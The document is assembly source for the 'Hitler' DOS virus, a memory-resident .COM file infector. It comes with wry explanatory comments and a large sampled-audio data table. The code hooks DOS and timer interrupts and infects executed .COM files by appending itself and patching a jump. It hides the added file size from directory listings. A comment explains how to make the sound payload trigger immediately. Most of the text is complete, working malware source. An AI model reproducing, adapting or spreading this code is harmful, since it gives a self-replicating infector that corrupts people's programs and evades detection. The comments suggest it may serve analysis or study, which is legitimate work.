;HITLER sound effect - some will just buzz.
call rakett ; recalculate offset
old db '<27> <20>!<21>' ; virus identification marker
rakett: pop bp
push bp
add bp,-103h
mov ax,42ABh ; check if virus installed
int 21h
jnc failed ; exit if here
cli
mov ax,3521h
int 21h ; get interrupt vector
mov w [bp+offset old21],bx ; es:bx points to
mov w [bp+offset old21+2],es ; interrupt handler
mov al,1Ch
int 21h
cli
mov w [bp+offset old1C],bx ; access timer tick int.
mov w [bp+offset old1C+2],es
mov w [bp+offset teller],16380 ; stuff our value into
sti ; "teller" buffer for
; later
call normalspeed ; eh?
mov si,ds
std
lodsb
cld
mov ds,si
xor bx,bx
mov cx,pgf
cmp b [bx],'Z'
jne failed
mov ax,[bx+3]
sub ax,cx
jc failed
mov [bx+3],ax
sub [bx+12h],cx
mov es,[bx+12h]
push cs
pop ds
mov di,100h
mov si,bp
add si,di
mov cx,size
rep movsb
push es
pop ds
mov ax,2521h
mov dx,offset ni21 ; set int 21 route through virus
int 21h
mov al,1Ch
mov dx,offset ni1C ; revector timer tick through
int 21h ; virus
failed: push cs
push cs
pop ds
pop es
pop si
mov di,100h
push di
movsw
movsw
movsb
mov cx,0FFh
mov si,100h
ret ; exit to host
findFCB: popf
call int21 ; look to virus "stealth"
pushf ; routine, now that int 21
or al,al ; comes through virus
jnz backFCB
call stealth
backFCB: popf
iret
stealth: push ax ; the following essentially massages the
push bx ; file control block on directory scans,
push dx ; subtracting the virus size from infected
push es ; files before the user sees 'em
mov ah,2Fh ; get disk transfer address
call int21 ;
cmp byte es:[bx],0FFh ; failed?
jne normFCB ; no, everything still OK
add bx,8
normFCB: mov al,byte es:[bx+16h] ; retrieve seconds attribute
and al,31 ; from observed file, if it's
xor al,31 ; 31, the file is infected
jnz shitFCB ; not 31 - file not infected
mov ax,word es:[bx+1Ch]
mov dx,word es:[bx+1Ch+2]
sub ax,size ; subtract virus length from
sbb dx,0 ; infected file
jc shitFCB ; no files? exit
mov word es:[bx+1Ch],ax
mov word es:[bx+1Ch+2],dx
shitFCB: ; restore everything as normal
pop es
pop dx
pop bx
pop ax
ret
ni21: pushf
cmp ah,11h ; any user access of the file control
je findFCB ; block must come through virus
cmp ah,12h ; ditto for here
je findFCB
cmp ax,42ABh ;
jne not_42AB
popf
clc
retf 2
not_42AB:
cmp ax,4B00h ; is a program being loaded?
jne not_4B00 ; exit if not
call install_24 ; install critical error handler
push ax
push bx
push cx
push dx
push ds
push bp
mov ax,4300h ; get file attributes of potential host
call int21
jc back1 ; failed? exit
mov cs:old_attr,cx ; stash attributes here
test cl,4 ; is the potential host a system file?
jnz back1 ; yes? so exit
mov ax,4301h ; set new file attributes, read or write
xor cx,cx
call int21
jc back1 ; error? exit
push dx
push ds
call infect ; begin infection stuff
pop ds
pop dx
mov ax,4301h
db 0B9h ;mov CX,...
old_attr dw 0
call int21
back1: ;go here if the attrib-get fails
pop bp
pop ds
pop dx
pop cx
pop bx
pop ax
call remove_24 ; normalize critical error handler
not_4B00:
back: popf
db 0EAh
old21 dw 0,0
int21: pushf
call dword ptr cs:old21
ret
infect: mov ax,3D02h ; open host file with read/write access
call int21
jnc okay_open
bad1: ret ; was there an error? exit
okay_open: xchg bx,ax
mov ax,5700h ; get file date and file time
call int21
push cx
mov bp,sp
push dx
mov ah,3Fh ; read first five bytes from potential host
mov cx,5
mov dx,offset old ; store them here
push cs
pop ds
call int21
jc close ; error, exit?
cmp al,5 ; get the five bytes?
jne close ; no, so exit
cmp word old[0],'MZ' ; is this an .EXE file?
je close ; yes, so go away
cmp word old[0],'ZM' ; double-check, is this an .EXE file?
je close ; yes, so go away
cmp old[0],0E9h ; does it start with a jump?
jne infect1 ; no - infect!
cmp word old[3],'<27>!' ; does it start with the HITLER virus
jne infect1 ; marker? If no, infect!
; (Boy, this fellow is careful!)
close: pop dx
pop cx
mov ax,5701h ; reset file date and time
call int21
mov ah,3Eh ; close file
call int21
ret
infect1: mov ax,4202h ; reset pointer to end of file
xor cx,cx
xor dx,dx
call int21
or dx,dx
jnz close
cmp ax,59000 ; compare .COMfile size to 59,000 bytes
jae close ; greater than or equal? close file
; HITLER is a big virus, so we don't want to
dec ax ; exceed the DOS execution boundary for .COM
dec ax ; files
dec ax
mov word ptr putjmp[1],ax
mov ah,40h ; write HITLER to the target file
mov cx,size ; length in CX
mov dx,100h
call int21
jc close
cmp ax,size ; again, we're being real careful
jne close ; not to infect ourself
mov ax,4200h ; set file pointer to beginning of host
xor cx,cx
xor dx,dx
call int21
mov ah,40h ; write the first five bytes of the
mov cx,5 ; viral jump and ID strings to the
mov dx,offset putjmp ; beginning of the host file
call int21
or byte ss:[bp],31 ; set the seconds field to 31, so the
; "stealth" routine has its cue
jmp close ; close the file and clean up
putjmp db 0E9h
dw 0
db '!<21>'
install_24: pushf ; installation of critical error
cli ; handler (no shit, Sherlock!)
push bx
push ds
xor bx,bx
mov ds,bx
push ds
lds bx,[24h*4]
mov cs:old24[0],bx
mov cs:old24[2],ds
pop ds
mov word [(24h*4)],offset ni24
mov [(24h*4)+2],cs
pop ds
pop bx
sti
popf
ret
remove_24: pushf ; remove it
cli
push bx
push es
push ds
xor bx,bx
mov ds,bx
les bx,cs:old24[0]
mov [(24h*4)],bx
mov [(24h*4)+2],es
pop ds
pop es
pop bx
sti
popf
ret
errflag db 0
db 'Hitler Virus by Dreamer/DY',0 ; ID note by Dreamer of Demoralized
; Youth
ni24: mov al,3
mov cs:errflag,1
iret
old24 dw 0,0
xofs dw offset sample
len equ 4131
divisor equ 230
teller dw 16380 ; "new" timer tick values for viral
; trigger
ni1C:
cli
pushf
push ax
push ds
push si
push cs
pop ds
; -lobotomize code from here to marker to get HITLER at start
cmp teller,0 ; compare 0 with the value the virus
je teller_ok ; stuffed into the timer tick interrupt
dec teller ; if equal - do "HITLER!" thing, if not
jmp noreset ; decrement the value
; -bottom of lobotomy marker
teller_ok: ; sound routine to the IBM internal speaker
mov al,34h
db 0E6h,43h ;out 43h,al
mov al,divisor
db 0E6h,40h ;out 40h,al
mov al,0
db 0E6h,40h ;out 40h,al
mov al,090h
db 0E6h,43h ;out 43h,al
mov si,xofs
lodsb
db 0E6h,42h ;out 42h,al
db 0E4h,61h ;in al,61h
or al,3
db 0E6h,61h ;out al,61h
inc xofs
cmp xofs,len+offset sample ; points to the huge table at
jb noreset ; the end of the virus, a
mov xofs,offset sample ; .VOC sample of some nut
noreset: ; shouting "HITLER!"
sti
pop si
pop ds
pop ax
popf
db 0EAh
old1C dw 0,0
normalspeed: cli
push ax
mov al,34h
db 0E6h,43h
mov al,0
db 0E6h,40h
db 0E6h,40h
pop ax
sti
ret
sample:
db 080h,080h,080h,080h,080h,081h,080h,081h,081h,081h,081h,081h,083h
db 083h,083h,083h,083h,083h,083h,083h,083h,083h,081h,081h,081h,081h
db 080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,065h,000h,000h
db 075h,08Ah,084h,083h,083h,089h,081h,081h,081h,07Ah,079h,07Ch,07Ah
db 07Bh,07Ch,07Fh,07Ah,078h,079h,07Fh,07Bh,07Fh,07Dh,07Bh,07Ah,07Fh
db 083h,08Ah,08Ch,088h,08Ah,085h,083h,089h,08Bh,080h,082h,07Fh,081h
db 07Fh,082h,081h,08Bh,07Ah,074h,07Ch,07Eh,080h,07Fh,07Fh,083h,07Fh
db 084h,082h,083h,080h,083h,081h,07Dh,07Eh,080h,083h,083h,07Dh,079h
db 07Fh,084h,080h,07Bh,07Dh,07Fh,07Fh,07Ch,07Ah,07Dh,083h,081h,07Fh
db 082h,080h,07Bh,07Fh,08Ah,08Bh,086h,085h,086h,083h,089h,089h,086h
db 084h,07Dh,07Ch,07Eh,085h,086h,085h,086h,083h,081h,088h,087h,080h
db 07Dh,081h,083h,081h,080h,07Ch,07Eh,076h,075h,07Bh,07Ah,075h,072h
db 075h,06Fh,074h,07Eh,080h,07Fh,07Fh,07Fh,083h,087h,085h,084h,08Ah
db 08Bh,086h,087h,08Ah,08Ah,08Ah,081h,081h,089h,084h,081h,07Ch,086h
db 083h,084h,082h,07Fh,082h,07Fh,087h,086h,082h,080h,076h,07Ch,07Bh
db 07Bh,082h,07Dh,07Eh,07Ah,07Fh,07Eh,085h,084h,082h,084h,07Eh,088h
db 07Fh,088h,07Eh,07Fh,07Dh,077h,07Ch,075h,07Dh,078h,07Bh,079h,07Fh
db 080h,084h,088h,081h,083h,087h,084h,087h,082h,089h,08Bh,08Fh,08Dh
db 08Bh,087h,080h,083h,081h,08Ch,07Ah,082h,076h,07Fh,07Bh,07Ah,07Ah
db 07Ch,077h,072h,077h,07Ch,07Fh,080h,07Eh,07Bh,07Dh,07Ah,080h,07Ch
db 07Eh,076h,082h,082h,08Dh,089h,084h,085h,085h,086h,087h,089h,086h
db 085h,08Ch,087h,090h,085h,07Ch,082h,083h,087h,07Ch,088h,07Bh,074h
db 091h,085h,09Bh,086h,086h,070h,076h,079h,08Dh,080h,06Bh,063h,069h
db 07Dh,067h,04Ch,081h,07Ah,0ABh,0A8h,09Ch,08Eh,060h,056h,07Fh,088h
db 089h,075h,094h,08Ch,013h,092h,040h,0D7h,0B0h,097h,0C4h,036h,057h
db 082h,0CBh,0C5h,09Dh,0C8h,00Dh,0A5h,026h,0A7h,072h,06Bh,0E0h,032h
db 089h,07Ah,0A7h,0E4h,0D7h,048h,07Fh,034h,07Bh,054h,06Fh,0B6h,02Bh
db 06Ah,055h,0ABh,0C0h,032h,09Fh,074h,06Fh,0A4h,043h,0B6h,040h,087h
db 090h,095h,0FFh,060h,015h,074h,039h,0E0h,044h,0D7h,080h,027h,0C9h
db 070h,0E7h,0F8h,025h,0AEh,009h,0ABh,050h,067h,0ACh,01Ch,0E3h,068h
db 09Fh,0FFh,02Fh,0CEh,014h,09Fh,080h,023h,0C4h,056h,0D3h,075h,0AFh
db 0F4h,035h,0A8h,000h,077h,040h,000h,09Ch,05Bh,0BBh,078h,0EBh,0D4h
db 07Fh,0A8h,007h,0BDh,032h,04Dh,092h,087h,0D4h,08Dh,0FFh,070h,0D7h
db 04Ch,06Bh,08Ch,01Ah,08Fh,078h,092h,087h,0CFh,0E8h,06Fh,0A0h,000h
db 0A5h,01Ch,007h,069h,073h,0B0h,07Fh,0FFh,068h,0D1h,028h,067h,070h
db 009h,09Bh,05Ch,0BFh,06Ch,0DFh,0A0h,09Fh,080h,01Bh,0A0h,020h,077h
db 082h,08Bh,0A8h,0A7h,0F0h,077h,0C8h,011h,0BAh,044h,033h,0B0h,069h
db 0B2h,08Eh,0FFh,068h,0DAh,018h,06Fh,060h,00Dh,0BAh,053h,0AFh,06Eh
db 0D7h,0B0h,07Fh,080h,00Ah,0B2h,020h,055h,080h,05Dh,098h,09Bh,0C0h
db 07Fh,094h,009h,0AFh,032h,05Bh,080h,05Ah,093h,093h,0FFh,071h,0DCh
db 030h,07Fh,080h,01Fh,0BBh,074h,0F2h,079h,0E7h,074h,0DFh,050h,03Fh
db 0A2h,02Ch,0B7h,070h,06Dh,072h,0AFh,0F0h,05Ah,0A2h,000h,095h,032h
db 01Fh,094h,06Bh,0E0h,054h,0F6h,059h,0E3h,048h,05Fh,0A0h,033h,0BFh
db 074h,073h,070h,0E7h,0A0h,06Bh,074h,000h,0A1h,024h,027h,065h,08Dh
db 097h,0BBh,0FFh,06Ah,0E2h,04Ah,07Fh,084h,003h,087h,04Fh,0CDh,075h
db 0E5h,0B8h,09Dh,0A8h,019h,0C2h,048h,047h,0A0h,05Ch,071h,077h,0FFh
db 068h,06Bh,074h,00Fh,0BBh,010h,077h,048h,087h,0A4h,087h,0FCh,07Dh
db 0F0h,040h,0C7h,082h,047h,0B8h,04Ah,099h,05Eh,0DBh,082h,087h,058h
db 000h,098h,020h,06Fh,072h,06Fh,0A8h,083h,0FFh,059h,0E5h,052h,067h
db 0AAh,028h,0B9h,03Fh,0C6h,05Ch,0AFh,0C0h,087h,0A0h,00Eh,0BBh,04Ah
db 08Fh,080h,03Fh,078h,064h,0FFh,068h,093h,068h,01Fh,0B6h,020h,092h
db 04Bh,0B7h,08Ah,095h,0D8h,08Bh,0C0h,021h,0C7h,06Ah,07Fh,09Ch,067h
db 085h,04Eh,0FFh,070h,09Fh,050h,000h,0ADh,021h,08Fh,058h,0BFh,084h
db 075h,0E0h,06Fh,0D0h,014h,0ABh,074h,077h,0B8h,046h,096h,056h,0EFh
db 098h,07Fh,098h,000h,0A3h,038h,05Fh,070h,06Fh,0A4h,04Bh,0E4h,054h
db 0D9h,040h,06Fh,098h,05Dh,0C2h,051h,095h,054h,095h,0DCh,06Fh,0B8h
db 000h,06Fh,068h,03Fh,0A0h,057h,0E0h,049h,0DDh,084h,0C7h,074h,025h
db 0D8h,05Bh,0E6h,04Ch,08Fh,068h,03Fh,0E8h,04Ah,0CFh,032h,033h,0A0h
db 039h,0C2h,040h,0D7h,05Ch,09Bh,0A0h,087h,098h,029h,0D5h,070h,09Fh
db 082h,07Bh,084h,03Dh,0D5h,068h,0BDh,02Ch,01Bh,0A8h,040h,0BDh,054h
db 0B3h,062h,04Fh,0D6h,064h,0D4h,039h,05Fh,098h,06Fh,0C8h,03Ah,0B1h
db 04Eh,06Fh,0A4h,07Fh,0AAh,011h,097h,06Ah,09Bh,094h,049h,0C0h,045h
db 0AFh,080h,09Dh,098h,022h,0BFh,062h,0BDh,065h,047h,0B0h,040h,0BFh
db 070h,0ADh,070h,01Dh,0C9h,067h,089h,06Ch,07Fh,0D0h,060h,0BFh,072h
db 09Bh,080h,000h,08Dh,052h,0ABh,064h,055h,0DAh,078h,0CBh,0A8h,0AFh
db 080h,016h,09Fh,062h,0AFh,04Ch,03Dh,0C0h,062h,05Fh,0C8h,05Bh,0CEh
db 024h,01Bh,084h,06Bh,08Ch,060h,0BFh,0A4h,09Dh,0FFh,060h,0BCh,01Ah
db 000h,0B0h,066h,0CCh,054h,073h,0D8h,085h,09Bh,0C8h,055h,0C2h,020h
db 001h,072h,056h,069h,07Ch,0AAh,0A8h,07Bh,0AFh,080h,087h,090h,018h
db 065h,071h,065h,0C2h,095h,0DAh,0B1h,09Ch,0C5h,08Ah,07Bh,080h,03Dh
db 044h,051h,05Fh,06Ah,075h,089h,07Eh,082h,083h,080h,06Eh,064h,062h
db 066h,075h,083h,08Bh,0A2h,0A6h,0A9h,0BAh,08Bh,091h,076h,07Bh,07Eh
db 069h,07Bh,064h,06Dh,080h,075h,079h,06Ah,077h,07Ah,071h,078h,06Fh
db 082h,07Ah,083h,090h,088h,07Ch,07Dh,088h,085h,089h,08Ah,085h,083h
db 091h,086h,089h,085h,079h,07Fh,07Bh,083h,07Eh,077h,078h,083h,07Fh
db 082h,08Bh,076h,079h,075h,07Fh,090h,074h,079h,075h,077h,072h,085h
db 084h,076h,07Eh,074h,07Dh,07Eh,07Ah,080h,080h,07Fh,077h,07Eh,07Ah
db 080h,080h,07Fh,088h,07Ch,084h,07Fh,07Fh,080h,081h,07Eh,079h,08Ah
db 087h,086h,083h,08Dh,086h,07Ch,08Ch,07Ah,07Bh,073h,087h,098h,082h
db 083h,07Dh,083h,07Ch,075h,083h,06Dh,077h,073h,085h,085h,072h,07Ch
db 077h,082h,07Ah,07Ch,075h,06Bh,06Ch,073h,082h,073h,075h,07Eh,074h
db 081h,087h,08Dh,088h,080h,075h,07Fh,08Dh,083h,097h,084h,081h,083h
db 085h,080h,078h,07Dh,078h,07Fh,082h,087h,08Ch,078h,082h,081h,086h
db 082h,07Dh,081h,07Bh,074h,078h,084h,078h,084h,080h,07Eh,079h,075h
db 079h,072h,081h,07Dh,08Bh,07Eh,07Bh,086h,082h,086h,07Fh,07Eh,077h
db 076h,084h,07Eh,080h,074h,077h,07Fh,090h,08Ch,085h,07Ah,062h,06Ah
db 080h,08Ch,08Dh,07Eh,072h,07Bh,082h,089h,095h,08Ah,06Fh,07Ah,083h
db 082h,083h,07Bh,077h,07Ah,079h,082h,07Dh,06Eh,077h,06Eh,082h,07Eh
db 088h,07Dh,07Fh,078h,071h,081h,075h,07Ch,086h,07Fh,086h,07Eh,085h
db 081h,086h,087h,08Dh,08Ah,076h,07Ah,07Ah,086h,085h,08Ah,086h,085h
db 07Dh,077h,078h,06Eh,07Fh,07Ah,07Dh,07Eh,074h,083h,079h,088h,07Ah
db 084h,078h,073h,081h,079h,086h,083h,081h,07Fh,082h,094h,080h,080h
db 06Eh,069h,07Ch,078h,07Eh,07Bh,07Ch,072h,086h,090h,086h,07Dh,079h
db 07Eh,084h,08Bh,07Eh,080h,080h,072h,090h,088h,07Ch,079h,076h,07Bh
db 07Fh,086h,07Ah,081h,07Dh,07Dh,08Ah,07Ah,080h,070h,075h,07Eh,079h
db 085h,073h,076h,075h,087h,087h,088h,084h,07Ch,07Ah,076h,077h,07Bh
db 079h,083h,07Bh,081h,07Dh,07Ch,07Fh,080h,081h,07Fh,08Ah,082h,082h
db 08Ch,082h,086h,086h,08Ah,083h,080h,071h,073h,07Fh,077h,084h,087h
db 081h,07Bh,07Fh,07Fh,087h,086h,079h,083h,077h,087h,07Ch,07Ch,07Ch
db 075h,082h,071h,076h,07Ch,076h,079h,079h,082h,070h,080h,07Ah,081h
db 087h,084h,07Ah,070h,07Dh,06Fh,082h,084h,07Eh,081h,07Bh,07Dh,07Fh
db 08Fh,07Dh,07Ch,084h,07Eh,07Bh,086h,088h,07Eh,08Fh,089h,075h,08Ah
db 07Dh,079h,07Dh,080h,079h,07Fh,086h,077h,078h,07Dh,06Eh,08Dh,07Fh
db 074h,076h,07Eh,078h,078h,08Dh,079h,07Eh,082h,07Eh,080h,087h,079h
db 076h,082h,074h,07Eh,081h,06Eh,074h,081h,082h,081h,092h,07Bh,07Fh
db 08Fh,08Ah,08Bh,07Ch,070h,074h,08Fh,07Eh,084h,084h,06Fh,075h,07Ah
db 08Eh,07Bh,07Ch,078h,078h,083h,086h,08Eh,07Eh,082h,070h,07Dh,08Dh
db 078h,07Bh,06Fh,077h,076h,087h,085h,074h,079h,077h,07Dh,085h,084h
db 06Bh,07Eh,07Eh,077h,086h,088h,079h,07Dh,091h,07Bh,081h,09Bh,073h
db 080h,07Bh,07Bh,090h,084h,070h,07Bh,08Ah,078h,07Fh,081h,071h,07Fh
db 082h,080h,074h,081h,07Bh,06Dh,07Fh,070h,078h,089h,07Ch,077h,089h
db 08Ah,07Fh,086h,07Eh,072h,081h,073h,068h,07Fh,082h,073h,085h,08Ah
db 086h,09Eh,093h,07Bh,081h,086h,069h,07Dh,086h,06Ch,07Fh,088h,088h
db 08Fh,09Ch,08Ch,079h,086h,074h,067h,06Dh,064h,069h,077h,07Fh,084h
db 09Fh,085h,08Dh,09Bh,074h,071h,06Ch,05Dh,062h,07Dh,06Dh,073h,086h
db 090h,091h,097h,092h,07Ah,079h,07Ch,061h,06Dh,076h,073h,070h,088h
db 090h,094h,09Bh,09Bh,094h,078h,077h,078h,060h,05Dh,069h,07Bh,087h
db 090h,09Fh,09Dh,09Fh,0A1h,080h,076h,068h,053h,04Bh,066h,072h,072h
db 086h,099h,097h,0A2h,0ADh,082h,06Ah,064h,05Ah,053h,061h,06Ah,067h
db 08Ah,0ABh,0ADh,0ACh,09Bh,0A5h,060h,067h,066h,059h,056h,06Fh,093h
db 08Fh,0BFh,0A8h,08Eh,0AFh,0AAh,044h,04Fh,070h,041h,057h,08Dh,084h
db 07Dh,0D1h,094h,07Eh,0BEh,088h,02Dh,06Ah,070h,038h,07Bh,0ABh,063h
db 0AFh,0A0h,068h,075h,0CDh,064h,013h,087h,068h,02Fh,0ABh,0B4h,037h
db 097h,0E0h,050h,097h,0F8h,022h,063h,0D4h,02Ah,07Dh,0E6h,038h,02Fh
db 0F9h,080h,047h,0E7h,0DAh,010h,07Fh,084h,034h,0B7h,0B0h,01Dh,035h
db 0D7h,0C0h,04Fh,0A1h,0B2h,002h,06Fh,0DEh,014h,087h,040h,001h,077h
db 0FFh,0A0h,032h,0BDh,0E2h,05Bh,0D7h,0C0h,000h,095h,02Ah,000h,0A7h
db 0C8h,02Ch,057h,0AEh,0C4h,09Fh,0E2h,030h,03Bh,0DCh,04Ah,02Fh,0FCh
db 084h,03Ah,0A5h,0D3h,094h,0BBh,0D8h,020h,07Fh,0A0h,018h,033h,0FFh
db 06Ch,009h,0A7h,0E2h,03Ah,0AFh,08Ah,000h,087h,068h,020h,09Fh,0D0h
db 040h,05Bh,0FFh,088h,03Fh,0D5h,01Ch,027h,0A0h,036h,04Fh,0FFh,0A8h
db 042h,0EFh,0D0h,05Eh,0F3h,0A0h,000h,05Bh,045h,03Dh,0F5h,0B4h,01Eh
db 057h,0FFh,060h,087h,0DCh,000h,007h,084h,04Ch,07Dh,0FFh,071h,02Dh
db 0FFh,0C4h,037h,0CFh,064h,000h,06Fh,038h,03Dh,0FFh,0C0h,034h,09Bh
db 0FFh,054h,0A3h,0C2h,000h,05Fh,050h,01Ah,09Fh,0FFh,050h,03Fh,0FFh
db 08Ch,073h,0F7h,034h,000h,07Ah,048h,073h,0FFh,080h,029h,0EFh,0D8h
db 02Eh,0ABh,068h,000h,08Dh,036h,028h,0F3h,0D8h,044h,08Fh,0FFh,04Ah
db 0AFh,0DAh,000h,02Bh,030h,03Fh,0D3h,0E8h,05Ah,07Fh,0FFh,068h,097h
db 0E2h,000h,00Bh,021h,03Fh,0A7h,0FFh,06Ch,063h,0FFh,078h,073h,0DFh
db 050h,000h,000h,04Dh,09Fh,0FFh,082h,033h,0E7h,0C0h,059h,0AFh,098h
db 000h,02Bh,03Fh,062h,0F1h,0A6h,073h,0DFh,0FFh,040h,08Bh,0D0h,000h
db 000h,017h,05Fh,0FDh,0FFh,058h,08Fh,0FFh,06Dh,0B7h,0ECh,008h,000h
db 027h,07Bh,0C6h,0D2h,075h,097h,0FFh,060h,076h,0C8h,018h,000h,000h
db 065h,0AFh,0FFh,096h,073h,0FFh,088h,07Fh,0DAh,040h,000h,000h,07Bh
db 09Fh,0E0h,082h,069h,0FFh,0D4h,05Fh,066h,080h,000h,027h,049h,062h
db 09Dh,0AAh,099h,0FFh,0F8h,038h,096h,0D4h,000h,000h,027h,077h,0FFh
db 0FCh,068h,09Fh,0FFh,065h,0AFh,0D8h,000h,000h,02Fh,09Ah,07Fh,088h
db 06Dh,0CFh,0FFh,062h,06Dh,0B1h,028h,000h,019h,065h,0BFh,0F4h,062h
db 08Bh,0FFh,084h,077h,0EBh,054h,000h,000h,05Dh,0AFh,0FFh,08Ah,057h
db 0FFh,068h,069h,0ABh,084h,000h,000h,065h,099h,0FFh,09Ch,05Bh,0EFh
db 0E4h,09Dh,093h,09Ah,000h,000h,07Fh,093h,08Eh,089h,06Ch,0E5h,0FFh
db 05Dh,074h,0CFh,038h,000h,023h,079h,09Bh,0DEh,091h,0AFh,0FFh,05Ch
db 073h,0A7h,084h,000h,000h,046h,09Fh,0FFh,080h,053h,0DFh,0E4h,077h
db 08Ah,0B8h,000h,000h,06Bh,089h,0A4h,084h,085h,0BFh,0FFh,050h,02Bh
db 0C7h,068h,000h,00Fh,055h,0B5h,0FFh,0D0h,014h,0CFh,084h,059h,0DDh
db 0C0h,000h,000h,08Fh,0B6h,0CBh,09Ah,050h,0D7h,0FFh,026h,055h,0A2h
db 008h,000h,03Bh,06Ch,08Ah,0D3h,094h,083h,0FFh,082h,091h,0E7h,060h
db 000h,00Ch,095h,082h,09Ch,0B3h,07Ah,0E7h,0FEh,028h,059h,0D7h,058h
db 000h,001h,03Fh,0BFh,0FFh,078h,063h,0FFh,086h,0B3h,0FFh,040h,000h
db 000h,06Dh,08Fh,0D9h,0A1h,060h,0B3h,0D2h,0C7h,074h,048h,000h,045h
db 04Bh,03Bh,097h,0B8h,0A2h,0D3h,0FFh,064h,071h,0CEh,004h,00Bh,01Bh
db 052h,07Bh,0C1h,0F6h,0A4h,0C5h,0C0h,065h,072h,0C6h,000h,000h,00Ah
db 03Fh,0DFh,0FFh,058h,06Bh,0FAh,044h,0A7h,0FFh,028h,000h,03Bh,0BDh
db 0FAh,0FFh,088h,07Bh,0FFh,058h,062h,057h,060h,000h,000h,043h,08Bh
db 0FFh,098h,06Ah,0E7h,0D0h,062h,08Ah,0B0h,000h,005h,05Fh,0B5h,0B2h
db 0A4h,072h,0D7h,0FFh,038h,087h,088h,01Ch,027h,053h,06Ah,09Dh,0FFh
db 070h,075h,0FDh,048h,063h,0C5h,080h,000h,015h,06Bh,0B7h,0FFh,084h
db 048h,0A7h,0E0h,061h,0B3h,088h,000h,031h,03Eh,062h,09Bh,0ECh,058h
db 05Bh,0FFh,054h,06Bh,0B5h,0A0h,000h,000h,061h,091h,0FFh,090h,043h
db 0EFh,0B8h,09Ah,09Fh,0A8h,000h,027h,031h,05Bh,09Ch,0BAh,0B0h,0BFh
db 0F5h,04Ah,07Fh,0E5h,042h,000h,000h,056h,0BBh,0FFh,090h,03Fh,0FFh
db 090h,0BFh,0D7h,094h,000h,000h,05Fh,08Eh,0FFh,080h,04Eh,0A5h,0D8h
db 07Fh,064h,094h,000h,000h,03Bh,088h,074h,068h,0BFh,0FBh,0FFh,04Ah
db 05Fh,0A5h,092h,015h,000h,01Fh,07Bh,0FFh,0FFh,052h,0DFh,050h,09Fh
db 0D3h,0C0h,000h,000h,053h,08Dh,0FFh,098h,036h,087h,0D4h,08Bh,06Dh
db 0B4h,000h,000h,035h,07Dh,0CBh,0F8h,0BAh,074h,0FFh,078h,075h,09Ah
db 050h,000h,000h,0AEh,082h,073h,0A6h,0B0h,0FFh,0C8h,03Bh,052h,099h
db 032h,000h,023h,044h,07Fh,0FFh,0FFh,058h,087h,046h,07Bh,0F3h,0CAh
db 000h,000h,05Fh,0CAh,0FFh,0FEh,024h,077h,0B8h,039h,076h,0B4h,00Eh
db 000h,02Bh,08Eh,0ABh,0FFh,070h,063h,0FFh,080h,09Ch,0BBh,054h,000h
db 00Fh,06Ah,0A5h,0D6h,09Ah,099h,0DDh,0D4h,056h,067h,094h,000h,000h
db 01Dh,066h,0BBh,0FFh,070h,067h,0D0h,06Fh,096h,0DEh,048h,000h,036h
db 06Fh,09Ah,0FFh,070h,027h,0C9h,056h,06Ch,08Fh,084h,000h,023h,057h
db 086h,0FFh,0F4h,080h,04Fh,0F5h,06Eh,082h,0C9h,020h,000h,003h,05Bh
db 099h,0FFh,0C0h,03Ch,0EBh,080h,08Fh,09Dh,0A8h,006h,00Eh,056h,077h
db 0DFh,0FFh,060h,07Fh,0B0h,06Eh,062h,0CEh,01Ah,017h,047h,05Dh,085h
db 0FFh,0FFh,040h,097h,05Ah,05Eh,06Fh,0B4h,000h,037h,050h,07Fh,0ABh
db 0FFh,0D8h,000h,0A7h,040h,047h,07Fh,08Ch,01Ch,023h,06Dh,080h,0C7h
db 0FFh,080h,019h,0D2h,030h,056h,09Fh,070h,018h,02Dh,086h,0A8h,0FFh
db 0FFh,070h,08Fh,0A0h,03Ch,018h,09Fh,070h,00Ah,053h,095h,099h,0FFh
db 0FFh,044h,08Bh,088h,02Dh,00Fh,0ADh,044h,006h,067h,0A2h,085h,0EBh
db 0FFh,030h,04Fh,094h,013h,000h,0BBh,035h,037h,083h,08Ch,093h,0FFh
db 0FFh,040h,06Dh,0A8h,023h,027h,0AFh,034h,047h,072h,092h,07Fh,0EBh
db 0FFh,054h,04Bh,0C0h,039h,044h,09Dh,054h,055h,075h,0C6h,084h,096h
db 0FFh,0A0h,033h,0BFh,04Ch,02Ch,056h,08Ah,055h,087h,0B3h,062h,051h
db 0C7h,0DCh,02Eh,08Fh,094h,020h,02Ah,07Dh,06Eh,0BDh,0ACh,06Ch,04Ch
db 0A3h,0FFh,080h,03Eh,0B3h,030h,02Ah,04Dh,08Eh,04Dh,095h,0A3h,06Ch
db 057h,0AFh,0FFh,060h,05Bh,0D5h,032h,04Fh,06Fh,064h,05Eh,0CDh,0A0h
db 03Ah,06Fh,0CDh,0C0h,04Ah,082h,0DBh,02Ch,06Dh,04Bh,04Eh,087h,0B8h
db 06Bh,058h,07Fh,09Eh,0CCh,072h,073h,0D5h,030h,06Fh,067h,048h,05Bh
db 0BAh,09Ch,058h,07Dh,099h,0D4h,094h,06Ch,0C3h,04Ch,079h,03Eh,025h
db 06Bh,0D4h,078h,072h,07Bh,07Ah,0BBh,0C1h,04Ah,08Bh,088h,02Bh,058h
db 034h,046h,0DDh,09Ah,080h,072h,06Ch,08Fh,0FFh,070h,013h,0B1h,030h
db 086h,055h,05Fh,0C7h,0B4h,082h,075h,087h,08Dh,0FFh,078h,000h,0A7h
db 058h,07Bh,070h,03Ah,05Bh,0BCh,08Eh,0A8h,0ACh,034h,08Fh,0D8h,028h
db 05Bh,0E0h,028h,07Fh,059h,029h,0ABh,0CCh,064h,06Bh,080h,049h,0AFh
db 0D0h,023h,07Fh,0B0h,00Eh,089h,061h,02Fh,0B7h,0B2h,070h,092h,088h
db 06Fh,0EFh,090h,023h,09Bh,0B4h,035h,08Ch,03Dh,03Fh,0D3h,094h,08Bh
db 0C7h,060h,03Bh,0B9h,082h,069h,0CFh,0A0h,027h,084h,02Ah,04Bh,0EFh
db 08Ch,07Eh,08Ch,050h,05Fh,0E3h,079h,04Fh,0AFh,078h,01Bh,081h,02Ch
db 03Dh,0D3h,078h,077h,0B3h,066h,055h,0BFh,082h,069h,0B2h,0A8h,025h
db 08Ah,035h,043h,0D3h,09Ch,07Bh,09Bh,05Ah,03Dh,0AFh,0C6h,07Fh,077h
db 07Fh,062h,06Ah,096h,05Dh,073h,0AAh,06Ah,08Ch,08Ah,054h,04Fh,08Eh
db 0AAh,07Bh,06Fh,09Ch,070h,05Dh,084h,056h,07Fh,0C5h,085h,073h,060h
db 05Ah,071h,0C3h,0A8h,050h,056h,064h,071h,087h,0ACh,04Bh,071h,088h
